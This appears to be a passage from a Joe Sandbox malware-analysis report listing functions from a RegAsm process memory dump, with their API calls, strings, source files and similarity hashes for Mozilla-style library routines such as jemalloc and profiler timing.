Opcode Fuzzy Hash: 6fc18b5f4b3d3b27d7fdb9b00f7fef0a13feee3f6e901162aa26f852dc123bec
Instruction Fuzzy Hash: EBF1E1709012298FDB20DF24CD88B9AB7B5AF46318F1586E9D809E7681D731FE84CF94

Function 6C6EED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C6EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C6F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6F1A3E

Strings

~qll, xrefs: 6C6EED13
~qll, xrefs: 6C6EED10

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qll$~qll
API String ID: 3693777188-3932955011
Opcode ID: 9675f19105f122765f5803ddf9dbc7164a2f158c485bbf7e9567901840ec2172
Instruction ID: 8874348b1b8989a8745e91b24bed29cacf012e1c856ec2cf9fa723faba7bc605
Opcode Fuzzy Hash: 9675f19105f122765f5803ddf9dbc7164a2f158c485bbf7e9567901840ec2172
Instruction Fuzzy Hash: EAB31971E05219CFCB14CFA8C890ADDB7B2BF89304F2582A9D459AB745D730AD86CF94

Function 6C6D7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74E744), ref: 6C6D7885
LeaveCriticalSection.KERNEL32(6C74E744), ref: 6C6D78A5
EnterCriticalSection.KERNEL32(6C74E784), ref: 6C6D78AD
LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6D78CD
EnterCriticalSection.KERNEL32(6C74E7DC), ref: 6C6D78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6D78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C6D795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6D79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C6D7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6D7C82
LeaveCriticalSection.KERNEL32(6C74E7DC), ref: 6C6D7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C6D7DAF

Strings

Dtl, xrefs: 6C6D789F
Dtl, xrefs: 6C6D787F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dtl$Dtl
API String ID: 759993129-1464740658
Opcode ID: f1bacd7f4bddd3a4df88049ee005886a3ff2b4f3ac0f447f0d3799d779325362
Instruction ID: fe01a28e93e1caa5a51fdd2fcc3104c113a7ba9323465acb8aa37f21515668e4
Opcode Fuzzy Hash: f1bacd7f4bddd3a4df88049ee005886a3ff2b4f3ac0f447f0d3799d779325362
Instruction Fuzzy Hash: F1027271E012198FDB54CF29D984799B7B5FF88318F2682AAD809A7715D730BE90CF84

Function 6C707E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C708280, 6C7083E1
(pre-xul), xrefs: 6C707E88
vtl, xrefs: 6C708207
name, xrefs: 6C707ECF, 6C708335
schema, xrefs: 6C7081E3, 6C708311

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vtl
API String ID: 3412268980-3627326370
Opcode ID: fe1f7113af2cd6e5bc267d8bf88e97e57d2e2c54780e7081c6e6e90bc538555a
Instruction ID: 50ea9f842e9826b6e2e5369dcf3c9684b20bef1e3290a6e8069de171d5d346f7
Opcode Fuzzy Hash: fe1f7113af2cd6e5bc267d8bf88e97e57d2e2c54780e7081c6e6e90bc538555a
Instruction Fuzzy Hash: BCE18FB1B043448BC710CF68894065BF7E9FF89314F15892DE899D7791DBB0ED098B96

Function 6C6ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED4F2
LeaveCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED50B

Part of subcall function 6C6CCFE0: EnterCriticalSection.KERNEL32(6C74E784), ref: 6C6CCFF6
Part of subcall function 6C6CCFE0: LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED52E
EnterCriticalSection.KERNEL32(6C74E7DC), ref: 6C6ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6ED6A6
LeaveCriticalSection.KERNEL32(6C74E7DC), ref: 6C6ED712
LeaveCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6ED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C6ED82C
<jemalloc>, xrefs: 6C6ED827

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 8ac13ab25e8ffe613973c8081609244a3c48f1ad85d8ab51e83c3f3f2553d09c
Instruction ID: c8120b5d886e4c483d9b05827560bb1adb690907e6b29813fec18eb439a7598a
Opcode Fuzzy Hash: 8ac13ab25e8ffe613973c8081609244a3c48f1ad85d8ab51e83c3f3f2553d09c
Instruction Fuzzy Hash: D991D171A097058FD714DF39C19076AB7E1EBC9328F15892FE5AA87A81D730E844CB86

Function 6C724EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C724EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C724F2E
moz_xmalloc.MOZGLUE ref: 6C724F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C724F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7252E6
Sleep.KERNEL32(00000010), ref: 6C725481
free.MOZGLUE(?), ref: 6C725498

Strings

(, xrefs: 6C725250

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 94f6b2a99bd6317d417a61c115a65baa70374fd67276d1601177c9c8666a4df5
Instruction ID: c0155ba2fcbd351ec2c7c296c4eada7acc3d89720e66d624473c683c2f81acd4
Opcode Fuzzy Hash: 94f6b2a99bd6317d417a61c115a65baa70374fd67276d1601177c9c8666a4df5
Instruction Fuzzy Hash: 7EF1B171A19B408FC716DF39C85062BB7F9AFD6284F05873EF84AA7651DB31D8428B81

Function 6C705190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C7051DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C70529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6C7052FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C70536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C7053F7

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6C7056C3
__Init_thread_footer.LIBCMT ref: 6C7056E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6C7056BE

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 73d15f2ac2eadd4cf55b1d70dd7607aa3d1dfab18dca193b3b2d7635601650a1
Instruction ID: d0644920a39dc61982d633d91d267083d4699d5ff9b2c171dcc021c15c6b8e5b
Opcode Fuzzy Hash: 73d15f2ac2eadd4cf55b1d70dd7607aa3d1dfab18dca193b3b2d7635601650a1
Instruction Fuzzy Hash: 6FE1ADB1A14F45CAC712DF359810267B7FABF9B385F10DB1EE8AF2A901DB30A4468305

Function 6C727030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C727046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C727060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C72707E

Part of subcall function 6C6D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6D81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C727096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C72709C
LocalFree.KERNEL32(?), ref: 6C7270AA

Strings

(null), xrefs: 6C72706A, 6C727083
### ERROR: %s: %s, xrefs: 6C727087

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 34ba64ea25a2ff5a336485615c2faa717091ebc73ae302cbdb58694bd903eb42
Instruction ID: f5333a67f582d61ddd4578f66c3ed9852c9d8836712c7d0503b22cbf2c6e0c4a
Opcode Fuzzy Hash: 34ba64ea25a2ff5a336485615c2faa717091ebc73ae302cbdb58694bd903eb42
Instruction Fuzzy Hash: EE01B9B2A00118AFDB00ABA4DC4ADAF7BBCEF49219F014436FA05A3241D6717D188BE5

Function 6C712C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C712C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C712C61

Part of subcall function 6C6C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6C4E5A
Part of subcall function 6C6C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C712C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C712E2D

Part of subcall function 6C6D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6D81DE

Strings

(root), xrefs: 6C71354F
expected a Time entry, xrefs: 6C712E36
ProfileBuffer parse error: %s, xrefs: 6C712E3B

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 4889ebc0bba130c914ec364ffde80ad1b7b49e3e011fc863d850486b97cd708b
Instruction ID: a0dc4d5ea6f0ee935708caa7c8ccdcafb7308b82e5d309ab695bd6992bd50a20
Opcode Fuzzy Hash: 4889ebc0bba130c914ec364ffde80ad1b7b49e3e011fc863d850486b97cd708b
Instruction Fuzzy Hash: 6891DFB060C7408FC724DF24C58969FB7E1EF8A358F14892DE59A8BB50EB30D949CB56

Function 6C729E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C729F3D
__aulldiv.LIBCMT ref: 6C729F77
__aullrem.LIBCMT ref: 6C729F8C
__aulldiv.LIBCMT ref: 6C72A023

Strings

-Infinity, xrefs: 6C729E60, 6C729E7B
NaN, xrefs: 6C729EAB

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 7060cc37c3bc595d8f6096bfe894b46d22110d7efbf6c33a3d0703c20956c8ca
Instruction ID: 7f226c44947ed8ae70a240a7dd14a4de955e140d8f1eb9cbf0be398a27ea7992
Opcode Fuzzy Hash: 7060cc37c3bc595d8f6096bfe894b46d22110d7efbf6c33a3d0703c20956c8ca
Instruction Fuzzy Hash: 2DC1D031F003188BDB24CFA8C950BAEB7B6FF85324F18452DD505ABB81D778A949CB91

Function 6C73545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C738A4B

Strings

~qll, xrefs: 6C739459, 6C735703, 6C739269, 6C735740, 6C7356C7, 6C73921F, 6C73948F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~qll
API String ID: 2221118986-1926955788
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 62010fc6c7730ef0bb71e20bd2f7f021b3d42157a4d645cff980f538e29eaa6c
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 36B1E772A0022ACFDB14CF68CD90799B7B2EF95314F1812AAC55DDB786D730A985CB90

Function 6C73542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C7388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C73925C

Strings

~qll, xrefs: 6C739459, 6C735703, 6C739269, 6C735740, 6C7356C7, 6C73921F, 6C73948F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~qll
API String ID: 2221118986-1926955788
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a42d0c70b9a4106fd3ce48efb1e181d71559f34bb370c0a535afa5d71f240ced
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ECB1D672E0112ACFCB14CE58CD806EDB7B2AF94314F14427AC959DB786D730A989CB90

Function 6C7350C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C738E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C73925C

Strings

~qll, xrefs: 6C739459, 6C735703, 6C739269, 6C735740, 6C7356C7, 6C73921F, 6C73948F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~qll
API String ID: 2221118986-1926955788
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: da431209e88de1e6442c186e450d949066af983031a7e69f6c546323725beb69
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: CFA1E872E00126CFCB14CF68CD80799B7B2AF95314F1542BAC95DEB786D730A999CB90

Function 6C72B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C72B92D), ref: 6C6D9BC8
Part of subcall function 6C6D9B80: __Init_thread_footer.LIBCMT ref: 6C6D9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C6D03D4,?), ref: 6C72B955
NtQueryVirtualMemory.NTDLL ref: 6C72B9A5
NtQueryVirtualMemory.NTDLL ref: 6C72BA20
RtlNtStatusToDosError.NTDLL ref: 6C72BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C72BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C72BA86

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: ee5fcc1fb658e3d39adaa17c364da9af1646ff504c5b3f2cad87ea32fd166100
Instruction ID: d7b46d00472c99d9d250e9e7523269780e2d32c29e9ebfa44b51c8aee3ed0cb0
Opcode Fuzzy Hash: ee5fcc1fb658e3d39adaa17c364da9af1646ff504c5b3f2cad87ea32fd166100
Instruction Fuzzy Hash: 8C515D71E01229DFDF14CEA8DA84ADDB7B6BF88314F154129E906B7704DB34BD458B90

Function 6C7177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C717A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C717A93

Part of subcall function 6C6E5C50: GetTickCount64.KERNEL32 ref: 6C6E5D40
Part of subcall function 6C6E5C50: EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C717AA1

Part of subcall function 6C6E5C50: __aulldiv.LIBCMT ref: 6C6E5DB4
Part of subcall function 6C6E5C50: LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C717B31

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: c8f8adfa2009089b3659310cf7c78dd83461ad5561eb176edfccac1c605340d8
Instruction ID: 565159297a00b0765cd10390cb3fd828100b94c84ae043ffdd93872aa762d817
Opcode Fuzzy Hash: c8f8adfa2009089b3659310cf7c78dd83461ad5561eb176edfccac1c605340d8
Instruction Fuzzy Hash: A3B1A03560C3808BCB24CF25C55465FB7E2BFC9318F194A2DE99567B91DB70E90ACB82

Function 6C72B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C72B720
RtlNtStatusToDosError.NTDLL ref: 6C72B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C6FFE3F,00000000,00000000,?,?,00000000,?,6C6FFE3F), ref: 6C72B760

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

